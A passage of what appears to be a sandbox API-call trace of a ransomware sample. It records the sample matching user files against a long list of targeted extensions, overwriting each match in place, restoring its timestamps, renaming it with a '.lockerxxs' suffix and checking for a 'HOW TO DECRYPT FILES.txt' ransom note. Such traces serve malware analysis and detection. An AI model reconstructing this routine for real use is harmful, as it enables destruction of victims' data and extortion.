(pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\5KCNen.m4a", pszSpec="*.cs") returned 0 [0090.578] lstrlenA (lpString="*.cs") returned 4 [0090.578] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\5KCNen.m4a", pszSpec="*.cpp") returned 0 [0090.578] lstrlenA (lpString="*.cpp") returned 5 [0090.578] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\5KCNen.m4a", pszSpec="*.rar") returned 0 [0090.578] lstrlenA (lpString="*.rar") returned 5 [0090.578] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\5KCNen.m4a", pszSpec="*.zip") returned 0 [0090.578] lstrlenA (lpString="*.zip") returned 5 [0090.578] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\5KCNen.m4a", pszSpec="*.html") returned 0 [0090.578] lstrlenA (lpString="*.html") returned 6 [0090.578] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\5KCNen.m4a", pszSpec="*.htm") returned 0 [0090.578] lstrlenA (lpString="*.htm") returned 5 [0090.578] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\5KCNen.m4a", pszSpec="*.xlsx") returned 0 [0090.578] lstrlenA (lpString="*.xlsx") returned 6 [0090.579] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\5KCNen.m4a", pszSpec="*.xls") returned 0 [0090.579] lstrlenA (lpString="*.xls") returned 5 [0090.579] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\5KCNen.m4a", pszSpec="*.mp4") returned 0 [0090.579] lstrlenA (lpString="*.mp4") returned 5 [0090.579] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\5KCNen.m4a", pszSpec="*.ppt") returned 0 [0090.579] lstrlenA (lpString="*.ppt") returned 5 [0090.579] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\5KCNen.m4a", pszSpec="*.pptx") returned 0 [0090.579] lstrlenA (lpString="*.pptx") returned 6 [0090.579] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\5KCNen.m4a", pszSpec="*.doc") returned 0 [0090.579] lstrlenA (lpString="*.doc") returned 5 [0090.579] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\5KCNen.m4a", pszSpec="*.dot") returned 0 [0090.579] lstrlenA (lpString="*.dot") returned 5 [0090.579] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\5KCNen.m4a", pszSpec="*.docx") returned 0 [0090.579] lstrlenA (lpString="*.docx") returned 6 [0090.579] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\5KCNen.m4a", pszSpec="*.7z") returned 0 [0090.579] lstrlenA (lpString="*.7z") returned 4 [0090.579] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\5KCNen.m4a", pszSpec="*.tar") returned 0 [0090.579] lstrlenA (lpString="*.tar") returned 5 [0090.580] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\5KCNen.m4a", pszSpec="*.bz2") returned 0 [0090.580] lstrlenA (lpString="*.bz2") returned 5 [0090.580] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\5KCNen.m4a", pszSpec="*.gz") returned 0 [0090.580] lstrlenA (lpString="*.gz") returned 4 [0090.580] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\5KCNen.m4a", pszSpec="*.mkv") returned 0 [0090.580] lstrlenA (lpString="*.mkv") returned 5 [0090.580] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\5KCNen.m4a", pszSpec="*.eml") returned 0 [0090.580] lstrlenA (lpString="*.eml") returned 5 [0090.580] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\5KCNen.m4a", pszSpec="*.msg") returned 0 [0090.580] lstrlenA (lpString="*.msg") returned 5 [0090.580] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\5KCNen.m4a", pszSpec="*.edb") returned 0 [0090.580] lstrlenA (lpString="*.edb") returned 5 [0090.580] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\5KCNen.m4a", pszSpec="*.accdb") returned 0 [0090.580] lstrlenA (lpString="*.accdb") returned 7 [0090.580] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\5KCNen.m4a", pszSpec="*.odb") returned 0 [0090.580] lstrlenA (lpString="*.odb") returned 5 [0090.580] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\5KCNen.m4a", pszSpec="*.java") returned 0 [0090.580] lstrlenA (lpString="*.java") returned 6 [0090.580] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\5KCNen.m4a", pszSpec="*.asm") returned 0 [0090.581] lstrlenA (lpString="*.asm") returned 5 [0090.581] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\5KCNen.m4a", pszSpec="*.pfx") returned 0 [0090.581] lstrlenA (lpString="*.pfx") returned 5 [0090.581] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\5KCNen.m4a", pszSpec="*.pem") returned 0 [0090.581] lstrlenA (lpString="*.pem") returned 5 [0090.581] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\5KCNen.m4a", pszSpec="*.p12") returned 0 [0090.581] lstrlenA (lpString="*.p12") returned 5 [0090.581] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\5KCNen.m4a", pszSpec="*.gpg") returned 0 [0090.581] lstrlenA (lpString="*.gpg") returned 5 [0090.581] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\5KCNen.m4a", pszSpec="*.vsd") returned 0 [0090.581] lstrlenA (lpString="*.vsd") returned 5 [0090.581] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\5KCNen.m4a", pszSpec="*.odg") returned 0 [0090.581] lstrlenA (lpString="*.odg") returned 5 [0090.581] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\5KCNen.m4a", pszSpec="*.raw") returned 0 [0090.581] lstrlenA (lpString="*.raw") returned 5 [0090.581] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\5KCNen.m4a", pszSpec="*.nef") returned 0 [0090.581] lstrlenA (lpString="*.nef") returned 5 [0090.581] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\5KCNen.m4a", pszSpec="*.svg") returned 0 [0090.582] lstrlenA (lpString="*.svg") returned 5 [0090.582] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\5KCNen.m4a", pszSpec="*.psd") returned 0 [0090.582] lstrlenA (lpString="*.psd") returned 5 [0090.582] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\5KCNen.m4a", pszSpec="*.vmx") returned 0 [0090.582] lstrlenA (lpString="*.vmx") returned 5 [0090.582] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\5KCNen.m4a", pszSpec="*.vmdk") returned 0 [0090.582] lstrlenA (lpString="*.vmdk") returned 6 [0090.582] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\5KCNen.m4a", pszSpec="*.vdi") returned 0 [0090.582] lstrlenA (lpString="*.vdi") returned 5 [0090.582] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\5KCNen.m4a", pszSpec="*.lay6") returned 0 [0090.582] lstrlenA (lpString="*.lay6") returned 6 [0090.582] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\5KCNen.m4a", pszSpec="*.mpeg") returned 0 [0090.582] lstrlenA (lpString="*.mpeg") returned 6 [0090.582] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\5KCNen.m4a", pszSpec="*.djvu") returned 0 [0090.582] lstrlenA (lpString="*.djvu") returned 6 [0090.582] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\5KCNen.m4a", pszSpec="*.tiff") returned 0 [0090.582] lstrlenA (lpString="*.tiff") returned 6 [0090.582] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\5KCNen.m4a", pszSpec="*.backup") returned 0 [0090.582] lstrlenA (lpString="*.backup") returned 8 [0090.583] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\5KCNen.m4a", pszSpec="*.pdf") returned 0 [0090.583] lstrlenA (lpString="*.pdf") returned 5 [0090.583] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\5KCNen.m4a", pszSpec="*.cert") returned 0 [0090.583] lstrlenA (lpString="*.cert") returned 6 [0090.583] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\5KCNen.m4a", pszSpec="*.docm") returned 0 [0090.583] lstrlenA (lpString="*.docm") returned 6 [0090.583] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\5KCNen.m4a", pszSpec="*.xlsm") returned 0 [0090.583] lstrlenA (lpString="*.xlsm") returned 6 [0090.583] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\5KCNen.m4a", pszSpec="*.dwg") returned 0 [0090.583] lstrlenA (lpString="*.dwg") returned 5 [0090.583] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\5KCNen.m4a", pszSpec="*.nd") returned 0 [0090.583] lstrlenA (lpString="*.nd") returned 4 [0090.583] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\5KCNen.m4a", pszSpec="*.tlg") returned 0 [0090.583] lstrlenA (lpString="*.tlg") returned 5 [0090.583] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\5KCNen.m4a", pszSpec="*.lgb") returned 0 [0090.583] lstrlenA (lpString="*.lgb") returned 5 [0090.583] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\5KCNen.m4a", pszSpec="*.mov") returned 0 [0090.583] lstrlenA (lpString="*.mov") returned 5 [0090.584] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\5KCNen.m4a", pszSpec="*.xdw") returned 0 [0090.584] lstrlenA (lpString="*.xdw") returned 5 [0090.584] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\5KCNen.m4a", pszSpec="*.ods") returned 0 [0090.584] lstrlenA (lpString="*.ods") returned 5 [0090.584] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\5KCNen.m4a", pszSpec="*.wav") returned 0 [0090.584] lstrlenA (lpString="*.wav") returned 5 [0090.584] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\5KCNen.m4a", pszSpec="*.mp3") returned 0 [0090.584] lstrlenA (lpString="*.mp3") returned 5 [0090.584] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\5KCNen.m4a", pszSpec="*.aiff") returned 0 [0090.584] lstrlenA (lpString="*.aiff") returned 6 [0090.584] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\5KCNen.m4a", pszSpec="*.flac") returned 0 [0090.584] lstrlenA (lpString="*.flac") returned 6 [0090.584] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\5KCNen.m4a", pszSpec="*.m4a") returned 1 [0090.584] lstrlenA (lpString="*.m4a") returned 5 [0090.584] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\5KCNen.m4a" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\5KCNen.m4a") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\5KCNen.m4a" [0090.584] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\5KCNen.m4a" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\5KCNen.m4a") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\5KCNen.m4a" [0090.584] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\5KCNen.m4a", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\5KCNen.m4a.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\5KCNen.m4a." [0090.585] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\5KCNen.m4a.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\5KCNen.m4a.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\5KCNen.m4a.lockerxxs" [0090.585] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\5KCNen.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\gxoniljbo52h80m\\vyo6gagafg\\5kcnen.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0090.585] GetFileSize (in: hFile=0x90, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x15a49 [0090.585] GetFileTime (in: hFile=0x90, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x59796880, dwHighDateTime=0x1d5e726), lpLastAccessTime=0x407536*(dwLowDateTime=0x3f21bf70, dwHighDateTime=0x1d5e12a), lpLastWriteTime=0x40753e*(dwLowDateTime=0x3f21bf70, dwHighDateTime=0x1d5e12a)) returned 1 [0090.585] SetFilePointer (in: hFile=0x90, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0090.586] ReadFile (in: hFile=0x90, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x15a23, lpOverlapped=0x0) returned 1 [0090.589] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\5KCNen.m4a") returned="5KCNen.m4a" [0090.589] SetFilePointer (in: hFile=0x90, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0090.589] WriteFile (in: hFile=0x90, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x15a23, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x15a23, lpOverlapped=0x0) returned 1 [0090.590] SetFileTime (hFile=0x90, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0090.590] CloseHandle (hObject=0x90) returned 1 [0090.591] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\5KCNen.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\gxoniljbo52h80m\\vyo6gagafg\\5kcnen.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\5KCNen.m4a.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\gxoniljbo52h80m\\vyo6gagafg\\5kcnen.m4a.lockerxxs")) returned 1 [0090.592] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ed277f0, ftCreationTime.dwHighDateTime=0x1d5dc02, ftLastAccessTime.dwLowDateTime=0x116662b0, ftLastAccessTime.dwHighDateTime=0x1d5e4af, ftLastWriteTime.dwLowDateTime=0x116662b0, ftLastWriteTime.dwHighDateTime=0x1d5e4af, nFileSizeHigh=0x0, nFileSizeLow=0x14353, dwReserved0=0x2800032b, dwReserved1=0x4e00c4, cFileName="fDoJ_zH4TkgF9a.mp3", cAlternateFileName="FDOJ_Z~1.MP3")) returned 1 [0090.592] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0090.592] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="fDoJ_zH4TkgF9a.mp3") returned -1 [0090.592] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="fDoJ_zH4TkgF9a.mp3") returned 1 [0090.592] lstrcmpiA (lpString1="", lpString2="fDoJ_zH4TkgF9a.mp3") returned -1 [0090.592] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\5KCNen.m4a") returned="5KCNen.m4a" [0090.592] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\" [0090.592] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\") returned="" [0090.592] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\HOW TO DECRYPT FILES.txt" [0090.592] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\gxoniljbo52h80m\\vyo6gagafg\\how to decrypt files.txt")) returned 0x20 [0090.592] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\", lpString2="fDoJ_zH4TkgF9a.mp3" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\fDoJ_zH4TkgF9a.mp3") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\fDoJ_zH4TkgF9a.mp3" [0090.593] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\fDoJ_zH4TkgF9a.mp3", pszSpec="*.ems") returned 0 [0090.593] lstrlenA (lpString="*.ems") returned 5 [0090.593] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\fDoJ_zH4TkgF9a.mp3", pszSpec="*.db") returned 0 [0090.593] lstrlenA (lpString="*.db") returned 4 [0090.593] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\fDoJ_zH4TkgF9a.mp3", pszSpec="*.dbf") returned 0 [0090.593] lstrlenA (lpString="*.dbf") returned 5 [0090.593] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\fDoJ_zH4TkgF9a.mp3", pszSpec="*.myox") returned 0 [0090.593] lstrlenA (lpString="*.myox") returned 6 [0090.593] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\fDoJ_zH4TkgF9a.mp3", pszSpec="*.myo") returned 0 [0090.593] lstrlenA (lpString="*.myo") returned 5 [0090.593] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\fDoJ_zH4TkgF9a.mp3", pszSpec="*.qbw") returned 0 [0090.593] lstrlenA (lpString="*.qbw") returned 5 [0090.593] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\fDoJ_zH4TkgF9a.mp3", pszSpec="*.qbb") returned 0 [0090.593] lstrlenA (lpString="*.qbb") returned 5 [0090.593] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\fDoJ_zH4TkgF9a.mp3", pszSpec="*.qbm") returned 0 [0090.593] lstrlenA (lpString="*.qbm") returned 5 [0090.593] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\fDoJ_zH4TkgF9a.mp3", pszSpec="*.qbo") returned 0 [0090.594] lstrlenA (lpString="*.qbo") returned 5 [0090.594] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\fDoJ_zH4TkgF9a.mp3", pszSpec="*.qbx") returned 0 [0090.594] lstrlenA (lpString="*.qbx") returned 5 [0090.594] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\fDoJ_zH4TkgF9a.mp3", pszSpec="*.qba") returned 0 [0090.594] lstrlenA (lpString="*.qba") returned 5 [0090.594] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\fDoJ_zH4TkgF9a.mp3", pszSpec="*.qby") returned 0 [0090.594] lstrlenA (lpString="*.qby") returned 5 [0090.594] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\fDoJ_zH4TkgF9a.mp3", pszSpec="*.qbj") returned 0 [0090.594] lstrlenA (lpString="*.qbj") returned 5 [0090.594] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\fDoJ_zH4TkgF9a.mp3", pszSpec="*.ofx") returned 0 [0090.594] lstrlenA (lpString="*.ofx") returned 5 [0090.594] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\fDoJ_zH4TkgF9a.mp3", pszSpec="*.qif") returned 0 [0090.594] lstrlenA (lpString="*.qif") returned 5 [0090.594] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\fDoJ_zH4TkgF9a.mp3", pszSpec="*.mye") returned 0 [0090.594] lstrlenA (lpString="*.mye") returned 5 [0090.594] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\fDoJ_zH4TkgF9a.mp3", pszSpec="*.mbox") returned 0 [0090.594] lstrlenA (lpString="*.mbox") returned 6 [0090.594] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\fDoJ_zH4TkgF9a.mp3", pszSpec="*.eml") returned 0 [0090.594] lstrlenA (lpString="*.eml") returned 5 [0090.595] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\fDoJ_zH4TkgF9a.mp3", pszSpec="*.pst") returned 0 [0090.595] lstrlenA (lpString="*.pst") returned 5 [0090.595] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS 